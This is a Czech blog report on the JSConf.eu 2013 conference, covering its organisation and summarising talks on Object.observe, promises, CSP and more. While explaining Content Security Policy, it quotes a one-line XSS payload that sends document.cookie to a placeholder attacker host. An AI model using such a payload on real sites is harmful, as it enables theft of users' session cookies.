Přejít k navigační liště

Zdroják » JavaScript » Jaká byla JSConf.eu 2013

Jaká byla JSConf.eu 2013

Články JavaScript

Již pátým rokem vítal po prázdninách Berlín příznivce JavaScriptu na tradiční konferenci JSConf.eu. Během dvou dnů bylo odpřednášeno přes padesát prezentací, proběhla řada společenských událostí, účastníci získali mnoho bezcenných reklamních cetek. V této reportáži celou akci popíšu ze svého pohledu.

Místo konání - vlevo konference, vpravo hotel

Místo konání – vlevo konference, vpravo hotel

Co se nelíbilo

Poměrně netradičně začnu výčtem toho, co se mi na konferenci nelíbilo; to proto, že veškerá negativa se chronologicky udála dříve, že celá akce vůbec začala. Koneckonců, každý rok bývá vytýkáno:

  • Vysoká cena vstupenky, která dosahuje téměř tří čtvrtin naší průměrné mzdy (za dva dny konference).
  • Obskurní způsob prodeje vstupenek, při kterém se volná místa nabízí v malých dávkách vždy v neděli odpoledne (aby se k nim dostali jen opravdoví nadšenci). I za těchto okolností bývají vstupenky pryč během prvních pár desítek vteřin.
  • Chaotické oznamování řečníků – kompletní program konference byl veřejně známý až tři dny (!) před jejím zahájením.

Tyto nedostatky jsou evergreenem (o loňském ročníku je možné přečíst reportáž), který zřejmě nepředstavuje nic zásadního a nezdá se proto, že by v dalších letech mělo dojít k nějakým změnám.

Organizace a průběh

Pro rok 2013 se konference přesunula do prostorů Radialsystem V, které si industriálností s minulou lokací opuštěné mincovny nijak nezadaly. Naštěstí se v rozpočtu našlo dost způsobů, jak vybydlené prostory zlidštit, vyplnit hi-fi záznamovou a projekční technikou a cateringem. V ceně vstupenky tak účastník kromě samotného vstupu získal i tři party (rozpačitá seznamovací v pátek večer kdesi v beachvolleybalovém klubu; velehlasitá sobotní v prostorách konference; rozlučková nedělní na lodi) a kompletní jídelní servis na oba víkendové dny.

Hlavní konferenční sál, po boku kontejnery

Hlavní konferenční sál, po boku kontejnery

Tradiční kombinace růžové a pompéznosti letos doiterovala k novince ve formě mnoha plastových kontejnerů, kterými byly osazeny oba projekční sály; v těchto kontejnerech téměř neustále lehce pulsovalo barevné (zpravidla růžové) světlo a dokreslovalo atmosféru akce.

Akce byla zahájena úvodním videem, představením organizátorů a sponzorů. Pak již začaly samotné půlhodinové přednášky, které zabraly celou sobotu i neděli. Během nich navíc každou celou hodinu odjížděla na krátké projížďky přistavená výletní loď – vhodný způsob odpočinku pro znavené návštěvníky.

Přednášelo se opět ve dvou místnostech naráz. K tomuto řešení chovám ambivalentní city – je hezké moci si vybrat to zajímavější ze dvou témat, ale zároveň je škoda minout každou druhou přednášku. Alespoň že v obou sálech byl dostatek elektrických zásuvek a wifi (jehož kvalita ovšem silně kolísala, logicky nepřímo úměrně počtu účastníků v sále). Škoda, že oficiálně doporučovaný hotel (Ibis dvacet metrů vedle budovy konference) naopak wifi v ceně ubytování ještě nepotkal.

Barevné kontejnery v akci

Barevné kontejnery v akci

Co se líbilo

Ze všech cca 25 zhlédnutých přednášek mne některé zaujaly více než ostatní. Vyzdvihnu proto:

  • Addy Osmani v přednášce Plight of the butterfly představil žhavou novinku Object.observe, která dovoluje navěšení posluchače na změny v libovolném JS objektu. Takový přístup dovoluje inovativní přístupy v řadě oblastí: data-binding (automaticky, namísto dirty checking), objekty se samo-dopočítávanými vlastnostmi, vlastní datové typy se sémantickými událostmi. Za zmínku též stojí, že tyto posluchače jsou vykonávány semi-asynchronně (na konci aktuální iterace event loopu).
  • Bartek Szopka poměrně detailně osvětlil letitý standard IEEE-754, pomocí kterého jsou v paměti uchovávána čísla v mnoha jazycích, JavaScript nevyjímaje. Jakkoliv je tento systém provařený a mezi vývojáři poměrně známý, bylo užitečné si připomenout, jak pracuje a jak přesně fungují jeho limity.
  • O kombinování Promises a Harmony Generators mluvil Forbes Lindesay. Kombinací těchto dvou technik lze vytvořit syntaxi pro asynchronní rozhraní, které je povahou (a možností skladby) kompatibilní se synchronním. Otázka je, jestli a kdy se něco takového rozšíří, když dnes většina asynchronního kódu pracuje s obyčejnými Promises nebo error-first callbacky.
  • Přednáška s odvážným názvem Stop breaking the web vyzývala k respektování toho pravého rozdílu mezi webovou a nativní aplikací, totiž adresy URL. Tom Dale při tom zábavnou formou mimo jiné osvětlil, jak souvisí dnešní telefonní čísla se spalničkami.
  • Trendem posledních let je vyšší a vyšší zastoupení přednášejících žen (na čemž si pořadatelé vysloveně zakládají a ženy-speakerky k účasti intenzivně vybízí). Výhodou bývá lepší estetická hodnota prezentací, což lze dokladovat například výtvarně geniálními slajdy od Hannah Donovan.
  • V průběhu soboty vystoupil (za masivního potlesku) i Brendan Eich; dle očekávání hovořil mimo jiné o plánovaných novinkách v ES6 a ES7. Na svém notebooku též v Aurora Firefoxu chvíli hrál Unreal Tournament 3 (plné detaily, zvuk, boti) při 60fps.
  • Velmi zajímavá přednáška Towards a post-XSS world (přednášející Mike West) představila slibnou techniku Content Security Policy; ta dovoluje v (velmi dlouhé) HTTP hlavičce definovat adresy, ze kterých smí prohlížeč získávat média do stránky. Můžeme tak například pro stránku na jisté doméně povolit pouze obrázky z té samé domény, skripty z webu analytiky a CSS jen inline. Web tak bude odolný proti XSS útokům typu img.src="http://utocnik.com/?"+document.cookie. Jako velmi zajímavé vylepšení je též možné specifikovat adresu, na kterou bude prohlížeč v předem dohodnutém formátu bonzovat, pokud dojde k porušení CSP (tj. něco ve stránce po něm bude chtít stáhnout data z nepovoleného zdroje).
  • V průběhu konference došlo i na méně technicky zaměřené přednášky; Chrissy Welsh mluvila o svých zkušenostech z oblasti UX a sdělila několik doporučení, která platí nezávisle na projektu a lze se jimi řídit, i když nám UX moc neříká. Nešlo o nic převratného („iterujte rychle, testujte na lidech, wireframe je lepší než photoshop, …“), ale i tak to bylo milé.
  • Andy Wingo je častý speaker na JSConf.eu; letos mluvil o protokolu MinimaLT. Tato novinka z dílny DJB (et al.) staví na UDP a nabízí spolehlivý a šifrovaný přenos s payloadem již od prvního packetu. Nejvíce se nabízí srovnání s HTTPS, jehož nedostatky byly primární inspirací pro vznik protokolu.
  • Jedna z posledních přednášek se jmenovala 1024+ seconds of JS wizardry a Martin Kleppe v ní zmiňoval různé techniky pro minimalizaci kódu. Tématicky šlo o koncept podobný 140byt.es, nicméně zlatým hřebem přednášky (a dle mého názoru i celé konference) bylo toto demo (klikněte, opravdu! A pak koukněte do zdrojového kódu).
Hlavní atributy účastníků: Club Mate a samolepky na MacBooku

Hlavní atributy účastníků: Club Mate a samolepky na MacBooku

Shrnutí

Program celé konference, včetně mého hodnocení a odkazů na prezentace/videa, je k dispozici v této tabulce, kterou průběžně doplňuji a udržuji. Pár fotografií z akce je v mé galerii a také na Flickru Holgera Blanka.

Jsem rád, že jsem se díky svému zaměstnavateli mohl na konferenci podívat. Přestože je formát konference stále stejný, i po několika letech jde pořád o zajímavou a užitečnou zkušenost. Zároveň jde o příležitost setkat se s dalšími členy JS komunity a ověřit, za kterými technologiemi a buzzwordy doba aktuálně směřuje.

Projížďka lodí na večerní party

Projížďka lodí na večerní party

Komentáře

Subscribe
Upozornit na
guest
2 Komentářů
Nejstarší
Nejnovější Most Voted
Inline Feedbacks
View all comments
opio

Object.observe je velká věc

lze vyzkoušet v nodejs s přepínačem –harmony_observation (pouze v nightlies verzích http://nodejs.org/dist/nightlies/)

díky za shrnutí

Petr Fořt

Díky za shrnutí.

Enum a statická analýza kódu

Mám jednu univerzální radu pro začínající programátorty. V učení sice neexistují rychlé zkratky, ovšem tuhle radu můžete snadno začít používat a zrychlit tak tempo učení. Tou tajemnou ingrediencí je statická analýza kódu. Ukážeme si to na příkladu enum.